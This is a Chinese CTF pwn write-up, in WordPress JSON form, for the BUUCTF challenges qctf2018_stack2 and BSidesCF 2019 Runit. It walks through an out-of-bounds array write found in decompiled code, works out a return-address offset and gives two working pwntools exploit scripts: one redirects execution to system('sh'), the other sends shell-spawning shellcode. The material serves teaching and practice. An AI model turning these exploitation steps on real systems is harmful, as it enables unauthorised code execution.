{"id":628,"date":"2025-09-23T19:55:36","date_gmt":"2025-09-23T11:55:36","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=628"},"modified":"2025-09-23T19:55:38","modified_gmt":"2025-09-23T11:55:38","slug":"buuctfqctf2018_stack2%e3%80%81bsidescf-2019runit-1","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/09\/23\/buuctfqctf2018_stack2%e3%80%81bsidescf-2019runit-1\/","title":{"rendered":"buuctf:qctf2018_stack2\u3001[BSidesCF 2019]Runit 1"},"content":{"rendered":"\n


1\u3001qctf2018_stack2\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


32\u4f4d\u5f00\u4e86NX\u548cCanary,\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5f88\u6709\u8da3\u7684\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u8ba1\u7b97\u5e73\u5747\u503c\uff0c\u8f93\u5165\u7684\u6682\u4e14\u662f\u6570\u5b57<\/p>\n\n\n\n

ida\u91cc\u770b\u5230\u6709system,\u8fd8\u6709\/bin\/bash,\u5e94\u8be5\u662f\u7528sh\u6765getshell\u5427\uff0c\u540e\u9762\u627e\u4e00\u4e0bsh\u7684\u5730\u5740\u5c31\u884c<\/p>\n\n\n\n

\u4e0d\u76f4\u63a5\u7684\u540e\u95e8<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


main\u51fd\u6570<\/p>\n\n\n\n

int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  int v3; \/\/ eax@18\n  unsigned int v5; \/\/ [sp+18h] [bp-90h]@1\n  unsigned int v6; \/\/ [sp+1Ch] [bp-8Ch]@6\n  int v7; \/\/ [sp+20h] [bp-88h]@2\n  unsigned int j; \/\/ [sp+24h] [bp-84h]@5\n  int v9; \/\/ [sp+28h] [bp-80h]@1\n  unsigned int i; \/\/ [sp+2Ch] [bp-7Ch]@1\n  unsigned int k; \/\/ [sp+30h] [bp-78h]@13\n  unsigned int l; \/\/ [sp+34h] [bp-74h]@20\n  char v13[100]; \/\/ [sp+38h] [bp-70h]@2\n  int v14; \/\/ [sp+9Ch] [bp-Ch]@1\n\n  v14 = *MK_FP(__GS__, 20);\/\/canary\n  setvbuf(stdin, 0, 2, 0);\n  setvbuf(stdout, 0, 2, 0);\n  v9 = 0;\n  puts(\"***********************************************************\");\n  puts(\"*                      An easy calc                       *\");\n  puts(\"*Give me your numbers and I will return to you an average *\");\n  puts(\"*(0 <= x < 256)                                           *\");\n  puts(\"***********************************************************\");\n  puts(\"How many numbers you have:\");\n  __isoc99_scanf(\"%d\", &v5);\n  puts(\"Give me your numbers\");\n  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )\n  {\n    __isoc99_scanf(\"%d\", &v7);\n    v13[i] = v7;\n  }\n  for ( j = v5; ; printf(\"average is %.2lf\\n\", (double)((long double)v9 \/ (double)j), j) )\n  {\n    while ( 1 )\n    {\n      while ( 1 )\n      {\n        while ( 1 )\n        {\n          puts(\"1. show numbers\\n2. add number\\n3. change number\\n4. get average\\n5. exit\");\n          __isoc99_scanf(\"%d\", &v6);\n          if ( v6 != 2 )\n            break;\n          puts(\"Give me your number\");\n          __isoc99_scanf(\"%d\", &v7);\n          if ( j <= 0x63 )\n          {\n            v3 = j++;\n            v13[v3] = v7;\n          }\n        }\n        if ( v6 > 2 )\n          break;\n        if ( v6 != 1 )\n          return 0;\n        puts(\"id\\t\\tnumber\");\n        for ( k = 0; k < j; ++k )\n          printf(\"%d\\t\\t%d\\n\", k, v13[k]);\n      }\n      if ( v6 != 3 )\n        break;\n      puts(\"which number to change:\");\n      __isoc99_scanf(\"%d\", &v5);\/\/\u8fd9\u91cc\u672c\u6765\u662f\u8981\u5199\u9700\u8981\u4fee\u6539\u7684\u6570\u5b57\u7f16\u53f7\n      puts(\"new number:\");\n      __isoc99_scanf(\"%d\", &v7);\n      v13[v5] = v7;\/\/\u53ef\u4ee5\u53d1\u73b0v5\u53ef\u80fd\u9020\u6210\u8d8a\u754c\uff0c\u5e76\u6ca1\u6709\u5bf9v5\u8fdb\u884c\u9650\u5236\n    }\n    if ( v6 != 4 )\n      break;\n    v9 = 0;\n    for ( l = 0; l < j; ++l )\n      v9 += v13[l];\n  }\n  return 0;\n}<\/code><\/pre>\n\n\n\n

\u6211\u4eec\u770b\u4e00\u4e0bv5\u548cv13\u5728\u4ec0\u4e48\u4f4d\u7f6e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

v5\u662f\u5728var_90,v7\u662fvar_80,\u8fd8\u6709\u6570\u7ec4var_13\u662fvar_70,\u6240\u4ee5\u6211\u4eec\u8fd8\u662f\u8981\u5728\u6808\u4e0a\u4e0b\u529f\u592b\uff0c\u6700\u540e\u7684\u76ee\u7684\u662f\u52ab\u6301\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\uff0c\u90a3\u6211\u4eec\u9700\u8981\u8ba1\u7b97v13\u7684\u9996\u5730\u5740\u5230\u8fd4\u56de\u51fd\u6570\u7684\u504f\u79fb\uff0c\u8ddf\u7740\u4f6c\u8c03\u8bd5\u4e00\u4e0b\uff0c\u4e0d\u4e00\u5b9a\u80fd\u6210\u3002\u6211\u4eec\u770b\u770b\u8ba9\u6211\u4eec\u8f93\u5165v7\u9644\u8fd1\u7684\u6c47\u7f16\u4ee3\u7801<\/p>\n\n\n\n
.text:08048688                 push    offset aD       ; \"%d\"\n.text:0804868D                 call    ___isoc99_scanf\n.text:08048692                 add     esp, 10h\n.text:08048695                 sub     esp, 0Ch\n.text:08048698                 push    offset aGiveMeYourNu_0 ; \"Give me your numbers\"\n.text:0804869D                 call    _puts\n.text:080486A2                 add     esp, 10h\n.text:080486A5                 mov     [ebp+var_7C], 0\n.text:080486AC                 jmp     short loc_80486DB\n.text:080486AE ; ---------------------------------------------------------------------------\n.text:080486AE\n.text:080486AE loc_80486AE:                            ; CODE XREF: main+11C\u0019j\n.text:080486AE                 sub     esp, 8\n.text:080486B1                 lea     eax, [ebp+var_88]\n.text:080486B7                 push    eax\n.text:080486B8                 push    offset aD       ; \"%d\"\n.text:080486BD                 call    ___isoc99_scanf\n.text:080486C2                 add     esp, 10h\n.text:080486C5                 mov     eax, [ebp+var_88]\n.text:080486CB                 mov     ecx, eax\n.text:080486CD                 lea     edx, [ebp+var_70]\n.text:080486D0                 mov     eax, [ebp+var_7C]\n.text:080486D3                 add     eax, edx\n.text:080486D5                 mov     [eax], cl\n.text:080486D7                 add     [ebp+var_7C], 1\n.text:080486DB\n.text:080486DB loc_80486DB:                            ; CODE XREF: main+DC\u0018j\n.text:080486DB                 mov     edx, [ebp+var_7C]\n.text:080486DE                 mov     eax, [ebp+var_90]\n.text:080486E4                 cmp     edx, eax\n.text:080486E6                 jnb     short loc_80486EE\n.text:080486E8                 cmp     [ebp+var_7C], 63h\n.text:080486EC                 jle     short loc_80486AE\n.text:080486EE\n.text:080486EE loc_80486EE:                            ; CODE XREF: main+116\u0018j\n.text:080486EE                 mov     eax, [ebp+var_90]\n.text:080486F4                 mov     [ebp+var_84], eax\n.text:080486FA\n.text:080486FA loc_80486FA:                            ; CODE XREF: main:loc_80488E1\u0019j\n.text:080486FA                 sub     esp, 0Ch<\/code><\/pre>\n\n\n\n
\u5f88\u91cd\u8981\u7684\u7ebf\u7d22\u662f.text:080486CD lea edx, [ebp+var_70]<\/p>\n\n\n\n
.text:080488F2 retn<\/p>\n\n\n\n
\u5c31\u662fv13\u7684\u9996\u5730\u5740\u653e\u5728edx\u4e2d\uff0c\u90a3\u5728\u8fd9\u91cc\u4e0b1\u4e2a\u65ad\u70b9\uff0c\u770b\u770bedx\uff0c\u5728return\u4e5f\u4e0b\u4e00\u4e2a\u65ad\u70b9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

edx\u662f0xf7fc14c0\u63a5\u4e0b\u6765\u662freturn\u7684\u5730\u5740<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
esp=0xffffd65c<\/p>\n\n\n\n
\u5443\uff0c\u4e0d\u5bf9\uff0c\u7b2c\u4e00\u4e2a\u65ad\u70b9\u91cd\u65b0\u4e0b\uff0c\u770b\u4e00\u770bedx\u7684\u53d8\u5316<\/p>\n\n\n\n
\u65ad\u5728.text:080486D5 mov [eax], cl<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
edx=0xffffd5d8<\/p>\n\n\n\n
\u8f93\u51655\u6267\u884c\u5230ret<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u5c31\u8212\u670d\u4e86\u561b<\/p>\n\n\n\n
esp=0xffffd65c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u504f\u79fb\u5c31\u662f0x84,\u73b0\u5728\/bin\/bash\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\uff0c\u6211\u4eec\u627e\u627esh<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sh=0x08048987<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u5c31\u662f\u8fd9\u9053\u9898\u7279\u6b8a\u7684\u5730\u65b9\uff0c\u867d\u7136\u662f\u4e2a\u6808\u6ea2\u51fa\uff0c\u4f46\u662f\u8986\u76d6\u7684\u65b9\u5f0f\u662f\u5229\u75283\u53bb\u641e\uff0c\u8fd8\u8981\u6ce8\u610f\u662f\u5c0f\u7aef\u5e8f\uff0c\u6211\u4eec\u8981\u5199\u7684\u5730\u5740\u662f0x804859B\u548c0x8048987,\u8bd5\u4e00\u8bd5\u5427<\/p>\n\n\n\n
2\u3001qctf2018_stack2\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25481)\n\ndef attack(offset,addr):\n    p.sendlineafter(\"5. exit\\n\",str(3))\n    p.sendlineafter(\"which number to change:\\n\",str(offset))\n    p.sendlineafter(\"new number:\\n\",str(addr))\n\ndef start():\n    p.sendlineafter(\"How many numbers you have:\\n\",str(1))\n    p.sendlineafter(\"Give me your numbers\\n\",str(1))\n\nbackdoor=0x804859B\nsystem_plt=0x8048450\nsh=0x8048987\noffset=0x84\n\nstart()\nattack(offset,0x9b)\nattack(offset+1,0x85)\nattack(offset+2,0x04)\nattack(offset+3,0x08)\n\nattack(offset+8,0x87)\nattack(offset+9,0x89)\nattack(offset+10,0x04)\nattack(offset+11,0x08)\n\np.sendlineafter(\"5. exit\\n\",str(5))\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ok,\u5b69\u5b50\u4eec\uff0c\u7ec8\u4e8e\u770b\u5230falg\u4e86……<\/p>\n\n\n\n
3\u3001[BSidesCF 2019]Runit 1\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6709\u4e00\u4e2a\u8f93\u5165\uff0c32\u4f4d\u5f00\u4e86NX\uff0c\u6253\u5f00iida\u770b\u770b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
main\u51fd\u6570\u4ee3\u7801\uff0c\u6bd4\u8f83\u7b80\u5355buf\u5176\u5b9e\u662f\u7533\u8bf7\u7684\u5185\u5b58\u7684\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u5199\u5165shellcode\uff0c\u6700\u540e\u5c31\u4f1a\u88ab\u8c03\u7528\uff0c\u56e0\u4e3a\u7a0b\u5e8f\u6700\u540e\u4f1a\u6307\u5411buf<\/p>\n\n\n\n
4\u3001Runit 1\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext(arch=\"i386\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",28604)\n\nshellcode=asm(shellcraft.sh())\np.recvuntil(\"Send me stuff!!\\n\")\np.sendline(shellcode)\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
1\u3001qctf2018_stack2\u5206\u6790 32\u4f4d\u5f00\u4e86NX\u548cCanary,\u8fd0\u884c\u4e00\u4e0b \u5f88\u6709\u8da3\u7684\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u8ba1\u7b97\u5e73\u5747\u503c\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":646,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-628","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=628"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/628\/revisions"}],"predecessor-version":[{"id":647,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/628\/revisions\/647"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/646"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=628"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}